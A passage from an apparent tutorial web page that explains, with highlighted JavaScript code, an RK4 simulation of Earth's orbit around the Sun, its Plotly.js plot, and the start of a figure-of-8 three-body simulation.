<span class="kd">let</span><span class="w"> </span><span class="nx">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="nx">AU</span><span class="p">,</span><span class="w"> </span><span class="mf">0</span><span class="p">];</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">theta</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">atan2</span><span class="p">(</span><span class="nx">r</span><span class="p">[</span><span class="mf">1</span><span class="p">],</span><span class="w"> </span><span class="nx">r</span><span class="p">[</span><span class="mf">0</span><span class="p">]);</span>
<span class="kd">let</span><span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="nx">v0</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sin</span><span class="p">(</span><span class="nx">theta</span><span class="p">),</span><span class="w"> </span><span class="nx">v0</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">cos</span><span class="p">(</span><span class="nx">theta</span><span class="p">)];</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">t</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="w"> </span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="mf">1001</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">(</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">100</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">0.0</span><span class="p">);</span><span class="w"> </span><span class="c1">// years</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">yearSec</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">365</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">24</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">3600</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">dt</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">t</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">t</span><span class="p">[</span><span class="mf">0</span><span class="p">])</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">yearSec</span><span class="p">;</span><span class="w"> </span><span class="c1">// s</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">x4Plot</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="w"> </span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="nx">t</span><span class="p">.</span><span class="nx">length</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="mf">0</span><span class="p">);</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">y4Plot</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="w"> </span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="nx">t</span><span class="p">.</span><span class="nx">length</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="mf">0</span><span class="p">);</span>
<span class="c1">// integrate using RK4!</span>
<span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">t</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">k1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">dR</span><span class="p">(</span><span class="nx">r</span><span class="p">,</span><span class="w"> </span><span class="nx">v</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">y</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">dt</span><span class="p">));</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">k2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">dR</span><span class="p">(</span><span class="nx">r</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">ri</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">ri</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k1</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">2</span><span class="p">),</span><span class="w"> </span><span class="nx">v</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">vi</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">vi</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k1</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">2</span><span class="p">)).</span><span class="nx">map</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">y</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">dt</span><span class="p">));</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">k3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">dR</span><span class="p">(</span><span class="nx">r</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">ri</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">ri</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k2</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">2</span><span class="p">),</span><span class="w"> </span><span class="nx">v</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">vi</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">vi</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k2</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">2</span><span class="p">)).</span><span class="nx">map</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">y</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">dt</span><span class="p">));</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">k4</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">dR</span><span class="p">(</span><span class="nx">r</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">ri</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">ri</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k3</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">j</span><span class="p">]),</span><span class="w"> </span><span class="nx">v</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">vi</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">vi</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k3</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">j</span><span class="p">])).</span><span class="nx">map</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">y</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">dt</span><span class="p">));</span>
<span class="w"> </span><span class="nx">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">r</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">ri</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">ri</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="nx">k1</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">k2</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">k3</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k4</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">j</span><span class="p">])</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">6</span><span class="p">);</span>
<span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">v</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">vi</span><span class="p">,</span><span class="w"> </span><span class="nx">j</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">vi</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="nx">k1</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">k2</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">k3</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">j</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">k4</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">j</span><span class="p">])</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">6</span><span class="p">);</span>
<span class="w"> </span><span class="nx">x4Plot</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">r</span><span class="p">[</span><span class="mf">0</span><span class="p">];</span>
<span class="w"> </span><span class="nx">y4Plot</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">r</span><span class="p">[</span><span class="mf">1</span><span class="p">];</span>
<span class="p">}</span>
<span class="c1">// make data for plot</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">sun</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="w"> </span><span class="p">};</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">earth</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nx">x4Plot</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">AU</span><span class="p">),</span><span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="nx">y4Plot</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">y</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">AU</span><span class="p">)</span><span class="w"> </span><span class="p">};</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">circle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="w"> </span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="mf">1001</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">(</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">cos</span><span class="p">(</span><span class="nx">i</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">100</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">PI</span><span class="p">)),</span><span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="w"> </span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="mf">1001</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">(</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sin</span><span class="p">(</span><span class="nx">i</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">100</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">PI</span><span class="p">))</span><span class="w"> </span><span class="p">};</span>
</code></pre>
</div>
<p>This code simulates the orbit of Earth around the Sun, using a numerical method called the Runge-Kutta 4th order (RK4) method.</p>
<p>First, we define some constants:</p>
<p>G: the gravitational constant (6.67e-11 N m²/kg²)
Msun: the mass of the Sun (2e30 kg)
AU: an astronomical unit, the average distance between Earth and Sun (1.5e11 m)
v0: the initial velocity of Earth, calculated from its distance to the Sun
Next, the function dR takes the position r and velocity v of Earth as input and returns the rate of change in position (dr) and the rate of change in velocity (dv) using the gravitational force formula.</p>
<p>We then initialize the position r and velocity v of Earth, and create an array t that represents time in years, divided into 1001 steps. We also define yearSec as the number of seconds in a year and dt as the time step in seconds.</p>
<p>Now, we integrate the Earth's motion using the RK4 method. For each time step, we calculate the rates of change for position and velocity (k1, k2, k3, k4) and update Earth's position and velocity based on these. We store the updated position in x4Plot and y4Plot.</p>
<p>Finally, we normalize the position data by dividing it by the astronomical unit (AU) to make it more visually meaningful. We also create a circle for reference, which represents a perfect circular orbit. The code ends with the data for the Sun's position, Earth's orbit, and the reference circle ready to be plotted.</p>
<h3 id="plotting-the-orbit">Plotting the orbit</h3>
<p>Now that we have the data for the Sun's position, Earth's orbit, and the reference circle, we can plot them using Plotly.js.</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">traceSun</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="nx">sun</span><span class="p">.</span><span class="nx">x</span><span class="p">],</span>
<span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="nx">sun</span><span class="p">.</span><span class="nx">y</span><span class="p">],</span>
<span class="w"> </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s2">"markers"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">marker</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">symbol</span><span class="o">:</span><span class="w"> </span><span class="s2">"star"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">size</span><span class="o">:</span><span class="w"> </span><span class="mf">10</span><span class="p">,</span>
<span class="w"> </span><span class="nx">color</span><span class="o">:</span><span class="w"> </span><span class="s2">"gold"</span><span class="p">,</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s2">"Sun"</span><span class="p">,</span>
<span class="w"> </span><span class="p">};</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">traceEarth</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nx">earth</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span>
<span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="nx">earth</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span>
<span class="w"> </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s2">"lines"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">color</span><span class="o">:</span><span class="w"> </span><span class="s2">"white"</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s2">"Earth"</span><span class="p">,</span>
<span class="w"> </span><span class="p">};</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">traceOrbit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nx">circle</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span>
<span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="nx">circle</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span>
<span class="w"> </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s2">"lines"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">color</span><span class="o">:</span><span class="w"> </span><span class="s2">"crimson"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">dash</span><span class="o">:</span><span class="w"> </span><span class="s2">"dash"</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s2">"1 AU Circle"</span><span class="p">,</span>
<span class="w"> </span><span class="p">};</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">earthSunLayout</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s2">"Earth-Sun Orbit"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">xaxis</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s2">"x [AU]"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">range</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="mf">1.1</span><span class="p">,</span><span class="mf">1.1</span><span class="p">],</span>
<span class="w"> </span><span class="nx">showgrid</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w"> </span><span class="nx">gridcolor</span><span class="o">:</span><span class="w"> </span><span class="s2">"rgba(255,255,255,0.5)"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">gridwidth</span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span>
<span class="w"> </span><span class="nx">zeroline</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w"> </span><span class="nx">tickmode</span><span class="o">:</span><span class="w"> </span><span class="s2">"auto"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">nticks</span><span class="o">:</span><span class="w"> </span><span class="mf">5</span><span class="p">,</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">yaxis</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s2">"y [AU]"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">range</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="mf">1.1</span><span class="p">,</span><span class="mf">1.1</span><span class="p">],</span>
<span class="w"> </span><span class="nx">showgrid</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w"> </span><span class="nx">gridcolor</span><span class="o">:</span><span class="w"> </span><span class="s2">"rgba(255,255,255,0.5)"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">gridwidth</span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span>
<span class="w"> </span><span class="nx">zeroline</span><span class="o">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
<span class="w"> </span><span class="nx">tickmode</span><span class="o">:</span><span class="w"> </span><span class="s2">"auto"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">nticks</span><span class="o">:</span><span class="w"> </span><span class="mf">5</span><span class="p">,</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">margin</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">l</span><span class="o">:</span><span class="w"> </span><span class="mf">50</span><span class="p">,</span>
<span class="w"> </span><span class="nx">r</span><span class="o">:</span><span class="w"> </span><span class="mf">50</span><span class="p">,</span>
<span class="w"> </span><span class="nx">b</span><span class="o">:</span><span class="w"> </span><span class="mf">50</span><span class="p">,</span>
<span class="w"> </span><span class="nx">t</span><span class="o">:</span><span class="w"> </span><span class="mf">50</span><span class="p">,</span>
<span class="w"> </span><span class="nx">pad</span><span class="o">:</span><span class="w"> </span><span class="mf">4</span><span class="p">,</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">paper_bgcolor</span><span class="o">:</span><span class="w"> </span><span class="s2">"black"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">plot_bgcolor</span><span class="o">:</span><span class="w"> </span><span class="s2">"black"</span><span class="p">,</span>
<span class="w"> </span><span class="p">};</span>
<span class="w"> </span><span class="nx">Plotly</span><span class="p">.</span><span class="nx">newPlot</span><span class="p">(</span><span class="s2">"plot"</span><span class="p">,[</span><span class="nx">traceSun</span><span class="p">,</span><span class="nx">traceEarth</span><span class="p">,</span><span class="nx">traceOrbit</span><span class="p">],</span><span class="w"> </span><span class="nx">earthSunLayout</span><span class="p">);</span>
</code></pre>
</div>
<h2 id="figure-of-8-orbit">Figure of 8 orbit</h2>
<p>The figure of 8 solution[2] in the three-body problem refers to a unique and special trajectory where three celestial bodies (e.g., planets, stars) move in a figure of 8 shaped pattern around their mutual center of mass. This is special because it represents a stable and periodic solution to the three-body problem, which is known for its complexity and lack of general solutions.</p>
<p>In the figure of 8 solution, each of the three bodies follows the same looping path, but with a phase difference such that when one body is at one end of the loop, the other two are symmetrically positioned elsewhere along the path. The bodies maintain equal distances from each other throughout their motion, and their velocities and positions are perfectly balanced to maintain this periodic motion.</p>
<p>The figure of 8 is interesting because:</p>
<ul>
<li><p>It is a relatively stable solution, which means that the objects continue to follow the same looping path almost indefinitely.</p></li>
<li><p>It breaks down the notion that no simple periodic solutions exist for the three-body problem.</p></li>
<li><p>It looks cool!</p></li>
</ul>
<h3 id="show-me-the-code">Show me the code</h3>
<p>The code for this simulation is very similar to the Earth-Sun orbit simulation, except that we now have three bodies instead of two. We also use a different set of initial conditions to generate the figure of 8 orbit.</p>
<div class="codehilite">
<pre><span></span><code><span class="kd">function</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">];</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">];</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">vx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">];</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">vy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">];</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">delta</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">clone</span><span class="p">(</span><span class="nx">coords</span><span class="p">);</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">n</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">n</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">;</span><span class="w"> </span><span class="nx">n</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">xn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="nx">n</span><span class="p">];</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">yn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">y</span><span class="p">[</span><span class="nx">n</span><span class="p">];</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">deltaVx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0.0</span><span class="p">;</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">deltaVy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0.0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">i</span><span class="w"> </span><span class="o">!==</span><span class="w"> </span><span class="nx">n</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">sep</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sqrt</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="nx">xn</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="nx">i</span><span class="p">],</span><span class="w"> </span><span class="mf">2</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="nx">yn</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">y</span><span class="p">[</span><span class="nx">i</span><span class="p">],</span><span class="w"> </span><span class="mf">2</span><span class="p">));</span><span class="w"> </span><span class="c1">// Euclidean distance</span>
